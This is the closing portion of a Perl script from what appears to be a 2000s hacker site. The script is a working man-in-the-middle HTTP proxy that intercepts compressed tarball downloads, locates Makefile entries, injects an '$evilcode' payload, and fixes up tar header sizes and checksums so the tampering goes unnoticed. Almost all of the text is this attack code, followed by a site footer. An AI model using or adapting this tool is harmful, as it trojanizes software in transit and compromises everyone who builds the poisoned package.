            if ($filename =~ /Makefile\x00/) {
               # part of header before checksum
               my $precs;
               # after checksum
               my $postcs;
               # checkusm
               my $cs = 0;
               printf ("Injecting 512 bytes to file: %s %d\n", $filename,
                $filesize);
               # increase file size by 1 block
               $precs = substr($tarbuf, 0, 124) . sprintf("%011o ", 
                $filesize + 512) . substr($tarbuf, 136, 12);
               $postcs = substr($tarbuf, 156, 512 - 156);
               # calculate header checksum
               foreach (split(//, $precs)) { $cs += ord; }
               foreach (split(//, $postcs)) { $cs += ord; }
               $cs += 8*32;
               # inect $evilcode + padding of spaces to 512 bytes
               $tarbuf = $precs . sprintf("%06o%c ", $cs, 0) . $postcs 
                . $evilcode . " "x(512-length($evilcode));
               printf ("New block size: %d\n", length($tarbuf));
            }
            # update the start of next header
            $tarskipto += 512;
            if (($filesize / 512) == int($filesize / 512)) {
               $tarskipto += $filesize;
            } else {
               $tarskipto += (int($filesize / 512) + 1) * 512;
            }
            $retbuf .= $tarbuf;
            $tarbuf = "";
         }
      }

      return $retbuf;
   }

   sub handle_injection {
      $buf = shift;
      #printf ("Got %d bytes from server\n", length($buf));
      # for unknown files, simple passthrough
      if (not $inject) {
         $c->write($buf);
         #printf ("Wrote %d bytes to client\n", length($buf));
      } else {
         # if we have new data, uncompress it
         if (length($buf) > 0) {
            print $uncompr_out $buf;
         }
         #printf ("Gave %d bytes to uncompressor\n", length($buf));
         # first try to read the compressed input, to clear the pipeline
         while ($compr_sel->can_read(0.01)) {
            #$packed = <$compr_in>;
            $compr_in->read($packed, 1024);
            $c->write($packed);
            #printf ("Got from compressor and wrote %d bytes to client\n",
            # length($packed));
            last unless length($packed) > 0;
         }
         # next, try to read the uncompressor, inject and feed the compressor
         while ($uncompr_sel->can_read(0.01)) {
            #$unpacked = <$uncompr_in>;
            $uncompr_in->read($unpacked, 1024);
            my $injected = inject_tar $unpacked;
            print $compr_out $injected;
            #printf ("Got from uncompressor and wrote %d bytes to compressor\n",
            # length($unpacked));
            last unless length($unpacked) > 0;
         }
      }
   }
}

# listener
my $d = HTTP::Daemon->new(LocalAddr => "0.0.0.0",
 LocalPort => 8000, Reuse => 1) || die;

# serve requests
while (my $c = $d->accept) {
   # extract request requisites
   my $r = $c->get_request;
   break unless defined $r;
   print "New request\n";

   # get request bits
   my $host = $r->header("Host");
   my $headers = $r->headers;
   my $uri = $r->uri;
   my $method = $r->method;
   my $content = $r->content;
   if (not defined $host) {
      # sucks.
      $host = "localhost";
   }
   print "$method $host $uri\n";
   
   # request original content
   my $s = Net::HTTP->new(Host => $host) || die $@;
   #$s->write_request($method, $uri, $headers, $content);
   $s->write_request($method, $uri, 0, $content);
   my($code, $mess, %h) = $s->read_response_headers;
   $c->send_status_line( $code, $mess );
   $c->send_crlf;
      
   # write back
   init_inject($c, $uri);
   while (1) {
      my $buf;
      my $n = $s->read_entity_body($buf, 8192);
      die "read failed: $!" unless defined $n;
      last unless $n;
      handle_injection($buf);
      #$c->write($buf);
   }
   end_inject;
   $c->close;

   undef($c);
}

--------------------------------------------------------------------[ EOF ]-----
This page is part of the .aware network. Content and design © 2004 - 2010 .aware network
Due to certified insanity, we are not responsible for anything, period.